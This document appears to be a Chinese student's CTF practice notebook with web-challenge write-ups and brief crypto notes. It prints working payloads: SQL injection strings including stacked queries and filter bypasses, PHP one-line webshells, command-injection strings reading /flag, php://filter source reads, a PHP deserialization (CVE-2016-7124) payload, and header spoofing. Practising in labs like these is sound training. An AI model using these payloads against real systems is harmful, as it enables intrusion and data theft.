# CTF 题目笔记

遇到不认识的先查,不要刻板印象或置之不理。要善于搜索资料。


# 1. 初识 SQL 注入

  • 登录处使用 findadmin 方法

    • 'or 1=1--

    • 在 SQL 语句中 username=’username‘ and password=’password‘

      变成了 username=’ ’ or 1=1-- ’ and password=’password‘

    称为 SQL 注释

  • SQL

    Cookie 注入、Post 注入、盲注

做了 cookie,直接进 cookie 的 php 页面然后抓 cookie.php 的包,

然后在 reapter 里看回显。拿到 flag。

还做了一道 baby_web,直接根据提示进 index.php(这里主要是

不知道 index 是什么(index.php 是首页))

或者先抓个包,把 get 改成 index.php 然后 send,之后直接看 response 得到 flag。

(其实都很简单主要是不会操作,基础太差)

还有一道弱口令 weak_auth 就是简单的弱口令(最开始想直接注入(练练手,学了好几天 SQL 注入了)结果要盲注,不会!只能查怎么爆破了)

最后用 burpsuite 爆破账号:admin

密码:123456

就真没想到这么 weak!!

# 2.get_post

可以通过 url 进行 get 操作,通过 hackbar 的 postpage 进行 post 操作

# 3.backup

注意源码泄露问题。

可用脚本 dirsearch 进行目录扫描。

# 4.warmup

代码审计

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

aa

# 5. 相关一句马 (知识点)

<?php eval($_REQUEST['key']);?>

<?php system($_REQUEST['ab12']);?>

<?php eval($_POST[123]);?>

webshell 分别为:key,ab12,123

? a=fetch&templateFile=public/index&prefix=''&content<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

yijian

yijian1

# 6.PHP 伪协议

需要开启 allow_url_fopen 的: php://stdin、php://memory、php://temp

不需要开启 allow_wrl_fopen 的:php://filter

在 CTF 中常用的 php://filter

php://filter 用于读取源码,php://input 用于执行 php 代码
php://input 需要 post 提交数据
php://filter 可以提交?a=php://filter/read=convert.base64-encode/resource=xxx.php

url 中?代表传值的意思,id 代表变量,后面的 "=" 代表变量的值

# 7.[SUCTF 2019]EasySQL

一道 sql 注入的题目,题目原意是堆叠注入或该换 || 的用处。然而 wp 中却给出了一种短路处理的办法。

我们来细究一下它的原理。


# 直接注

首先吗看题

easysql1

然后寻找注入点,先试试 ',",'),")

然后回显不是 “无” 就是 Nonono.

在用字符,和整数试试。发现字符时无回显,整数时有!!

easysql2

这是一个表结构!!

再审题,发现他说” 查询 “?怀疑这是个内嵌的后端查询,就是说它的源码可能是

select $_POST['query'] from xxx

越来越靠近真相了!!

所以它应该是对 ',",'),") 报错了所以什么都不回显或者是过滤,再试试 database () 发现没有用??

上面能回显整数却不回显字符 (a,b,c...),em... 有问题。

回想上一张输入整数的图,他回显了个 Array ( [0] => 1 ) ,en... 它从 xxx 这个表中返回了 1 条数据,说明这个数据表 xxx 中只有一条数据,si~~。

继续,结合题目

Give me your flag, I will tell you if the flag is right.

flag?is right? 很可能这条数据就是 flag!!!

说明这个源码查询的就是 flag!但查不出来为什么?再思考。

select 1 from xxx 得到的结果就是,一堆 1,1 的数量与数据数量有关。

又题目输入整数时它都得到 1,所以可能这里有个或结构

所以在 $_POST ['query'] 这块肯定有玄机,2 xxx => 1??

难道是 || 语法?试试 0. 0 的话查不出来.

再回想源码,(结合上面的分析,不妨把表记作 Flag,表中字段为 fffff,字段内容为我们要的 flag)

select $_POST['query'] from Flag

所以应该是,

select $_POST['query'] ||flag from Flag

flag 本身是假的,不然早注成了!!

所以直接构造 *,1 (联系到 select 查询多个的语法)

然后破案了。

easysql_end


# 另一种姿势

先上 payload:

1;set sql_mode=pipes_as_concat;select 1

(前面一个 1 隔断前置 select 后面一个 1?)
你直接看这英语意思:

pipes_as_concat

就是把 || 设置成了 concat 函数呗。。。
这也是猜出了后端代码的。

但是要注意 <u> 分号隔断了前面的命令 </u>(堆叠注入),所以要再次添加 select!!

上面那句执行是:

select concat(1,flag) from Flag

搞定。

# 8.Easy_sql

有报错但发现 union select 被过滤了,

where 也被过滤了,但可以堆叠。

所以使用了 show tables 查表,show columns from ’table‘ 查字段

找到了 flag 字段,问题在于如何查询 flag?这里给出了两种解法。

当我们输入 1 时回显数据,并发现当输入 ' 时报错,联系题目提示的查询,这里的源代码应该时和 select 有关。

  1. 使用更改表名和字段名的方法使其默认查询的表字段变为 flag 的。

    payload 为

    1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

    使用了 rename,和 alter,进行修改。

  2. 用 mysql 所支持的另一种查询语句。

    payload 为

    1';handler `1919810931114514` open;handler `1919810931114514` read first;#

这里需要注意,在之前是先验证了它有回显,有报错,有堆叠!!

相关资料: handler 语法

easy_sql

# 9.[ACTF2020 新生赛] Exec

本题是一道 Linux 命令题。

注:ping 本身是一种命令行为。

通过分号断开。

payload 为

127.0.0.1;ls

试探是否能命令语句注入。

结果可以。

127.0.0.1;ls /;

遍历目录下的文件。发现 flag 文件。

127.0.0.1;cat /flag;

得到 flag。

# 10.[GXYCTF2019]Ping Ping Ping

$IFS$1 , %09

为什么用内联执行

cat$IFS$1`ls`

Linux 绕过

详解

# 11.Secret File

找文件,抓包,看源码,找提示。

伪协议读取 flag.php

# 12.LoveSQL

试试,直接注,找到提示表,查询到 flag。

# 13.HTTP

打开靶场,查看源码。

http_1

进入 secret.php 发现如下

ahttp_1

此处是一个对报文来源的要求,用 burp 抓包,修改来源,发现没有 Referer,手动添加到 upgrade 上,或 cookie 上,内容 Referer: https://Sycsecret.buuoj.cn

再发送。得到 Response,要求用 "Syclover" 浏览器,在 User-Agent 中修改,Firefox 为 Syclover。

再发送。得到 Response,"Read this locally!",在 upgrade 上加一行 ** X-Forwarded-For: 127.0.0.1 .**

再发送。就再 Responce 中得到 flag.

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:29399
User-Agent: "Syclover" browser         #伪造客户端浏览器
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://www.Sycsecret.com     #伪造
X-Forwarded-for: 127.0.0.1             #伪造源地址
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# 14.BUYCTF[BabySql2019]

查询源代码,是 get 请求。

尝试登录,在输入 1'报错,得知是单引号闭合

选择通过密码进行注入

输入 1' or 1=1 -- ' 报错,发现报错语句中没有 or ,应该是过滤了。

尝试:

1. 双写`oror`
2. 隐写`oorr`

发现 2 是可行的,1 会报错,没有 or 出现。这里明白是一个 ' 强' 过滤。(即只要有 or 字节出现在语法中就会过滤,如 inform,password )

1' oorr 1=1 -- ' 成功登入,发现有babysql

之后用 union select 通过报错,发现 union,select 都被过滤

uniunionon selselectect 1,1,1 查出列名,和对应显示。

palyload 如下:

1' uniunionon selselectect 1,database(),3 -- '
// geek
1' uniunionon selselectect 1,(selselectect group_concat(table_name)frfromom infoorrmation_schema.tables whewherere table_schema='geek'),3 -- '
// b4bsql
1' uniunionon selselectect 1,(selselectect group_concat(column_name)frfromom infoorrmation_schema.columns whewherere table_schema='geek' anandd table_name='b4bsql'),3 -- '
// id username password
1' uniunionon selselectect 1,2,(selselectect group_concat(concat(id,' ',username,' ',passwoorrd))frfromom geek.b4bsql) -- '
// 8 flag flag{11939082-38b7-412d-830a-cbe89b508804}
/* 123'  uniunionon selselectect 1,(selselectect group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' anandd table_schema='geek'),(selselectect group_concat(concat(username,' ',passwoorrd,' ',id)) frfromom geek.b4bsql) -- ' */

这里发现一个问题,使用

1' uniunionon selselectect 1,2,(selselectect concat(id,' ',username,' ',passwoorrd)frfromom geek.b4bsql) -- '

<u> 报错 ' more than one row ' 但使用 group_concat 无报错。</u>

<u>concat () 返回将相应字段连接成字符串的一列值。</u>

<u>group_concat () 返回的是一串字符串。</u>

# 15.[RoarCTF 2019]Easy Calc

计算器。显然不是数据库。不用 SQL 注入。

输入 1+1 / 1 /' / 1' / " 根据报错情况,没啥用。看源码。找到 calc.php.

可以传参 num, 传一下试试。有 waf,php 和 waf 的变量判断方式不一样.

用 php 代码注入.

所以传 ?%20?num=1

传入并执行了,根据它的过滤规则,堆叠注入.

?%20num=1;var_dump(scandir(chr(47))) (chr (47) 是 '/') 访问根目录,并打印.

找到 flagg.

?&20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

# 16.[极客大挑战 2019] PHP

进入题目根据提示:

因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯

对网站备份扫描 *""E:\burpsuite\ 备份扫描.py""* 使用 Python 脚本.

得到 www.zip

01

查看三个 PHP 文件.

02

03

跟据代码,思路大致为

利用 get 方法传参 select,select 要序列化。

select 的内容是建立一个对象 Name,username=admin,password=100.

要绕过 wakeup () . // 调用 unserialize () 时会自动调用魔法函数 wakeup ()

构造语法 (PHP 执行)

<?php
class Name
{
    private $username = "yesyesyes";
    private $password = "nonono";
    public function __construct($username,$password)
    {
        $this->username=$username;
        $this->password=$password;
    }
}
$a = new Name('admin',100);
var_dump($a);
echo "<br>";
$b = serialize($a);
echo $b."<br>";// 输出序列化
// O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

URL 不能识别 " ,同时, "Nameusername" 应为 "%00Name%00username"

因为成员(属性)是 private,所以要在类名和成员名前加 %00 这个 url 编码是空的意思

序列化时生成的序列化字符串中类名前后本来就会有 0×00 也就是空

再利用 CVE-2016-7124 反序列化漏洞,属性数大于属性个数时,会跳过__wakeup () 魔术函数。

最终 payload 为

/?select=
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

解释一下这里利用了 echo urlencode($b) 直接将其 URLencode,再将属性数改大。

# 17.BUYFlag

查看 pay.php 的源码

发现是 post,抓包构造 payload。

修改 cookie,user=1 (猜测)

money=1000000000&password=404a (PHP 的弱等于)

回显数字太长,用科学计数法 1e9.

得到 flag

# 二、CRYPTO

摩丝密码的英文只有大写

摩斯电码只有大写,将它改成大写就行啦

1.URL

2.base-16,base-32,base-64

3.md5

4.ROT13 旋转加密

# 1.PASSWORD

image-20220930164451487

就是猜。。。

flag

私钥 d 攻击

Coppersmith 相关攻击

ECC

# 2. 变异凯撒

flag

凯撒加密,即将原私钥通过 ASCII 移位的方式加密。

得到密文。可能每处移位的不一样。

这里是image-20220930170155624

afZ_r9VYfScOeO_UL^RWUc

根据格式,对前 5 位,按照 ASCII 表解密为 flag {,从而推出加密规律。

udf 提权,mof 提权

宽字节注入限制

什么时候用,

怎么用,用在哪,

为什么要用。